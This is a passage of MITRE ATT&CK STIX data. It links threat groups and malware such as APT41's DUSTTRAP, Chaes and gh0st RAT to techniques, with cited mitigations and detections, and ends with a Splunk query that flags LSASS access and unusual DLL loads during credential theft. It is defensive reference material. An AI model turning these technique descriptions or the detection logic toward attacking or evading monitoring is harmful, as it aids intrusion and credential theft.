DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:01:28.961Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) can gather data from infected systems.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f66e226-ecc4-408d-becb-4e9ad9c66b57","type":"relationship","created":"2019-07-19T16:38:05.452Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","source_name":"Cybereason Soft Cell June 2019"},{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-01-13T21:20:49.182Z","description":"(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f6701a2-91cc-449e-98e1-e83bd2f7317c","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html","description":"valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.","source_name":"aptsim"}],"modified":"2019-04-29T18:01:20.238Z","description":"[APT3](https://attack.mitre.org/groups/G0022) will identify Microsoft Office documents on the victim's computer.(Citation: aptsim)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8f6be9bc-b570-442e-9feb-7802a87c161e","created":"2023-01-11T19:49:30.328Z","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-11T19:49:30.328Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has executed scripts to disable the event log service.(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f6ffa28-0a5d-4adc-8789-17f3d83446a0","type":"relationship","created":"2021-06-30T17:12:54.827Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-10-07T16:38:37.859Z","description":"[Chaes](https://attack.mitre.org/software/S0631) has used a script that extracts the web session cookie and sends it to the C2 server.(Citation: Cybereason Chaes Nov 2020) ","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f748caa-dd1e-41aa-b09a-333ce8916bd0","type":"relationship","created":"2020-02-05T14:28:17.039Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-05T14:28:17.039Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f76b879-a168-4d87-b9f1-a06706d48e33","type":"relationship","created":"2021-03-30T17:20:05.913Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-26T16:42:35.777Z","description":"Train users to be aware of the existence of malicious images and how to avoid deploying instances and containers from them.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8f7fe970-0a16-4007-84ae-e7294d06595f","created":"2022-09-26T17:58:19.982Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T17:58:19.982Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) can monitor files for changes and automatically collect them.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f8618b7-f197-4869-bb35-3ca58d171be0","type":"relationship","created":"2021-02-03T18:49:23.997Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Prevailion EvilNum May 2020","url":"https://www.prevailion.com/phantom-in-the-command-shell-2/","description":"Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved December 22, 2021."}],"modified":"2022-01-19T18:23:53.040Z","description":"[EVILNUM](https://attack.mitre.org/software/S0568) has changed the creation date of files.(Citation: Prevailion EvilNum May 2020)","relationship_type":"uses","source_ref":"malware--7cdfccda-2950-4167-981a-60872ff5d0db","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f88490e-346b-4462-b077-0211707c21a3","type":"relationship","created":"2019-04-24T13:32:25.647Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure CozyDuke","description":"F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/CozyDuke"}],"modified":"2020-11-23T17:03:38.910Z","description":"Some versions of [CozyCar](https://attack.mitre.org/software/S0046) will check to ensure it is not being executed inside a virtual machine or a known malware analysis sandbox environment. If it detects that it is, it will exit.(Citation: F-Secure CozyDuke)","relationship_type":"uses","source_ref":"malware--e6ef745b-077f-42e1-a37d-29eecff9c754","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f897f1c-7bc6-4a85-8d3b-627f976af215","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2020-03-19T22:24:36.134Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used various tools (such as Mimikatz and WCE) to perform credential dumping.(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8f8adede-8b7a-460d-b852-b52328df178a","created":"2020-07-15T19:28:00.690Z","x_mitre_version":"1.0","external_references":[{"source_name":"Gh0stRAT ATT March 2019","url":"https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant","description":"Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[gh0st RAT](https://attack.mitre.org/software/S0032) has used an encrypted protocol within TCP segments to communicate with the C2.(Citation: Gh0stRAT ATT March 2019)","modified":"2022-04-15T15:12:12.787Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f8caa9d-b728-4b54-88b0-b7cd3646f437","type":"relationship","created":"2021-09-28T19:47:10.935Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-11T17:43:50.369Z","description":"[Ferocious Kitten](https://attack.mitre.org/groups/G0137) has conducted spearphishing campaigns containing malicious documents to lure victims to open the attachments.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--6566aac9-dad8-4332-ae73-20c23bad7f02","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8f8d2b41-acb9-4fdf-ad90-c59fd6fad882","created":"2019-08-29T18:52:21.001Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Carbon Black Shlayer Feb 2019","description":"Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.","url":"https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html"},{"source_name":"Intego Shlayer Feb 2018","description":"Long, Joshua. (2018, February 21). OSX/Shlayer: New Mac malware comes out of its shell. Retrieved August 28, 2019.","url":"https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T16:35:18.498Z","description":"[OSX/Shlayer](https://attack.mitre.org/software/S0402) can masquerade as a Flash Player update.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018)","relationship_type":"uses","source_ref":"malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f925090-4063-429f-a0a4-ccaf4825ef78","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Monitor executed commands and arguments that may establish persistence by executing malicious content triggered by an interrupt signal.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--63220765-d418-44de-8fae-694b3912317d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8f9cee62-46ce-4ede-a478-6002962528a7","created":"2022-06-24T14:28:07.040Z","x_mitre_version":"0.1","external_references":[{"source_name":"Zscaler Lyceum DnsSystem June 2022","url":"https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor","description":"Shivtarkar, N. and Kumar, A. (2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DnsSystem](https://attack.mitre.org/software/S1021) can use the Windows user name to create a unique identification for infected users and systems.(Citation: Zscaler Lyceum DnsSystem June 2022)","modified":"2022-06-24T14:28:07.040Z","relationship_type":"uses","source_ref":"malware--8a2867f9-e8fc-4bf1-a860-ef6e46311900","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8fa54acd-fbe7-43dd-aaf3-4d3d9ab5babb","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T17:52:59.887Z","description":"Monitor for API calls that may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). OS API calls associated with LSASS process dumping include OpenProcess and MiniDumpWriteDump. Execution of these functions might trigger security log ids such as 4663 (Microsoft Security Auditing) and 10 (Microsoft Sysmon)\n\n\nNote: Most EDR tools do not support direct monitoring of API calls due to the sheer volume of calls produced by an endpoint but may have alerts or events that are based on abstractions of OS API calls. Dynamic malware analysis tools (i.e., sandboxes) can be used to trace the execution, including OS API calls, for a single PE binary. ","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8fa8c5c2-4891-49a7-88a6-f0ca4387008a","created":"2023-10-03T19:35:03.556Z","revoked":false,"external_references":[{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T19:35:03.556Z","description":"(Citation: Proofpoint TA2541 February 2022)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8faa230d-ced2-4289-81c5-554fd6dc62fd","type":"relationship","created":"2020-06-24T12:42:35.454Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T14:22:19.742Z","description":"Disable SSH if it is not necessary on a host or restrict SSH access for specific users/groups using /etc/ssh/sshd_config.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8fae4ace-c3b5-4c4b-8c1a-98a32c692849","type":"relationship","created":"2020-02-12T14:37:27.473Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-28T16:07:44.855Z","description":"Limit remote user permissions if remote access is necessary.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8fb40ded-3a84-48ad-ab52-342cf2ab629e","created":"2021-02-25T18:32:05.716Z","x_mitre_version":"1.0","external_references":[{"source_name":"Unit 42 IronNetInjector February 2021 ","url":"https://unit42.paloaltonetworks.com/ironnetinjector/","description":"Reichel, D. (2021, February 19). IronNetInjector: Turla’s New Malware Loading Tool. Retrieved February 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[IronNetInjector](https://attack.mitre.org/software/S0581) has used a task XML file named mssch.xml to run an IronPython script when a user logs in or when specific system events are created.(Citation: Unit 42 IronNetInjector February 2021 )","modified":"2022-05-20T17:02:59.594Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--b1595ddd-a783-482a-90e1-8afc8d48467e","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8fba0fad-b83d-4252-b7ef-c4d1b3529cba","type":"relationship","created":"2021-03-18T14:16:06.126Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Static Kitten February 2021","url":"https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies","description":"Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021."}],"modified":"2021-03-18T14:16:06.126Z","description":"[ConnectWise](https://attack.mitre.org/software/S0591) can be used to execute PowerShell commands on target machines.(Citation: Anomali Static Kitten February 2021)","relationship_type":"uses","source_ref":"tool--842976c7-f9c8-41b2-8371-41dc64fbe261","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8fbbe6cb-5b2b-433a-9193-7a3890fa3e95","created":"2022-06-09T14:54:14.367Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET DazzleSpy Jan 2022","url":"https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/","description":"M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[MacMa](https://attack.mitre.org/software/S1016) can enumerate running processes.(Citation: ESET DazzleSpy Jan 2022)","modified":"2022-06-09T14:54:14.367Z","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8fbcd0f5-4fd4-482b-b965-9b4232e4ee64","type":"relationship","created":"2020-02-20T22:06:41.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Ready.gov IT DRP","url":"https://www.ready.gov/business/implementation/IT","description":"Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019."}],"modified":"2020-03-28T22:53:20.393Z","description":"Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.","relationship_type":"mitigates","source_ref":"course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b","target_ref":"attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8fbcd4e8-d2b5-408c-8b3a-1e990833705b","created":"2023-01-26T19:24:11.085Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T21:20:37.249Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can send network system data and files to its C2 server.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8fc1ca33-dca4-472e-be38-ea8722e4f450","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Clymb3r Function Hook Passwords Sept 2013","description":"Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.","url":"https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/"},{"source_name":"MagicWeb","description":"Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM’s post-compromise trick to authenticate as anyone. Retrieved September 28, 2022.","url":"https://www.microsoft.com/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-19T15:31:18.434Z","description":"Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013) If AD FS is in use, monitor the AD FS server for the creation of DLLs as well as the loading of unrecognized or unsigned DLLs into the `Microsoft.IdentityServer.Servicehost` application.(Citation: MagicWeb)\n\nAnalytic 1 - Unauthorized DLL loads in critical systems.\n\nindex=security sourcetype IN (\"WinEventLog:Microsoft-Windows-Sysmon/Operational\", \"linux_secure\", \"macos_secure\")\n(EventCode=7 OR EventCode=10 OR sourcetype=\"linux_secure\" OR sourcetype=\"macos_secure\")\n| eval ImageLoaded=coalesce(Image, file_path, target_file)\n| eval Process=coalesce(ProcessGuid, pid, process_id)\n| eval User=coalesce(User, user, user_name)\n| eval Platform=case(\n sourcetype==\"WinEventLog:Microsoft-Windows-Sysmon/Operational\", \"Windows\",\n sourcetype==\"linux_secure\", \"Linux\",\n sourcetype==\"macos_secure\", \"macOS\",\n true(), \"Unknown\"\n)\n| search ImageLoaded IN (\n \"*\\\\lsass.exe\",\n \"*\\\\services.exe\",\n \"*\\\\winlogon.exe\",\n \"/usr/libexec/*\",\n \"/usr/bin/*\",\n \"/etc/pam.d/*\",\n \"/Library/Preferences/com.apple.loginwindow.plist\"\n)\n| search ImageLoaded IN (\"*\\\\*.dll\", \"*/*.so\", \"*/*.dylib\")\n| eval isSuspicious=if(match(ImageLoaded, \".*\\\\(?!\\\")(lsass|services|winlogon)\\.exe\\\\.*\\\\.dll$|/usr/libexec/.*\\\\.so$|/usr/bin/.*\\\\.so$|/etc/pam.d/.*\\\\.so$|/Library/Preferences/com.apple.loginwindow.plist.*\\\\.dylib$\"), \"Yes\", \"No\")\n| where isSuspicious=\"Yes\"\n| bin _time span=1m\n| stats count by _time, User, ImageLoaded, Process, Platform, host\n| where count > 1\n| table _time, User, ImageLoaded, Process, Platform, host, count\n| sort -count index=windows_logs (sourcetype=\"WinEventLog:Security\" OR sourcetype=\"XmlWinEventLog:Microsoft-Windows-Sysmon/Operational\")\n| search (EventCode=4688 AND New_Process_Name=\"*\\\\lsass.exe\") OR (EventCode=10 AND TargetImage=\"*\\\\lsass.exe\")\n| eval suspicious_process=case(\n match(New_Process_Name, \"regex_for_unusual_process_paths\"), \"High\",\n match(New_Process_Name, \".*\\\\system32\\\\.*\"), \"Medium\",\n true(), \"Low\"\n )\n| stats count by Host, User, New_Process_Name, CommandLine, suspicious_process\n| where suspicious_process=\"High\"\n| lookup domain_admins user as User OUTPUT admin_status\n| where isnotnull(admin_status)\n| join type=left Host [\n search index=windows_logs sourcetype=\"WinEventLog:Security\" EventCode=4624\n | eval login_time=strftime(_time, \"%Y-%m-%d %H:%M:%S\")\n | fields Host, login_time, Logon_Type, User\n ]\n| eval login_behavior=if(Logon_Type=\"10\" AND admin_status=\"true\", \"External_Admin_Login\", \"Normal_Login\")\n| table _time, Host, User, New_Process_Name, CommandLine, suspicious_process, login_behavior, login_time\n| sort - 